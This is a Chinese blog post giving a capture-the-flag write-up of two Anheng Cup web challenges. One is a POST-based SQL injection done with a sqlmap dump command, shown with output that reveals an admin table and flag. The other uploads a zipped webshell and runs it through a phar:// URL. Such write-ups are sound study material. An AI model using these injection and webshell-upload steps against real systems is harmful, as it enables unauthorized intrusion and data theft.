

安恒杯学到的新姿势

原创

GG BON 于 2019-09-13 16:22:39 发布 218 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_39607945/article/details/100797979

版权

新闻搜索

考点：POST注入

工具：BP、sqlmap

本题考查POST注入，一般的注入是GET型的，当用POST表单传参数的时候就不能起效，此时需要进行POST注入。

而在本题中，通过截取请求包，然后利用sqlmap命令 `sqlmap -r 文件名 -D news --dump`，news是本题中的数据库名。即可完成注入。

```
[19:02:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[19:02:07] [INFO] fetching tables for database: 'news'
[19:02:07] [INFO] fetching columns for table 'admin' in database 'news'
[19:02:07] [INFO] fetching entries for table 'admin' in database 'news'
Database: news
Table: admin
[1 entry]
+-----+-----+
| flag | username |
+-----+-----+
| flag{f98505d1d12f50a0bd9463e90876630} | admin |
+-----+-----+

[19:02:08] [INFO] table 'news.admin' dumped to CSV file '/home/daom/.sqlmap/output/114
.55.36.69/dump/news/admin.csv'
[19:02:08] [INFO] fetching columns for table 'news' in database 'news'
[19:02:08] [INFO] fetching entries for table 'news' in database 'news'
```

常规操作

考点：文件上传、phar://漏洞

打开页面之后发现：

Filename: 未选择文件。

只允许上传jpg、png、gif、rar、zip文件类型！

https://blog.csdn.net/qq_39607945

提示了可以上传的文件的格式，里面有zip后缀的，查资料了解到可能和phar伪协议有关，phar伪协议主要是用来解析phar文件的，也即压缩文件，具体的作用见<https://mp.csdn.net/mdeditor/100797979>我们在本地创建一个小马，然后压缩成.zip格式，上传上去

Filename: 未选择文件。

只允许上传jpg、png、gif、rar、zip文件类型！

文件保存路径为: /var/www/html/upload
/37b16dc4fd3112bee367527f57364ba9.zip

https://blog.csdn.net/qq_39607945

看到了文件的路径，然后访问

url: <http://114.55.36.69:8009/index.php?url=phar://upload/37b16dc4fd3112bee367527f57364ba9.zip/south> 实现对.zip的解析。然后用该链接连接小马即可。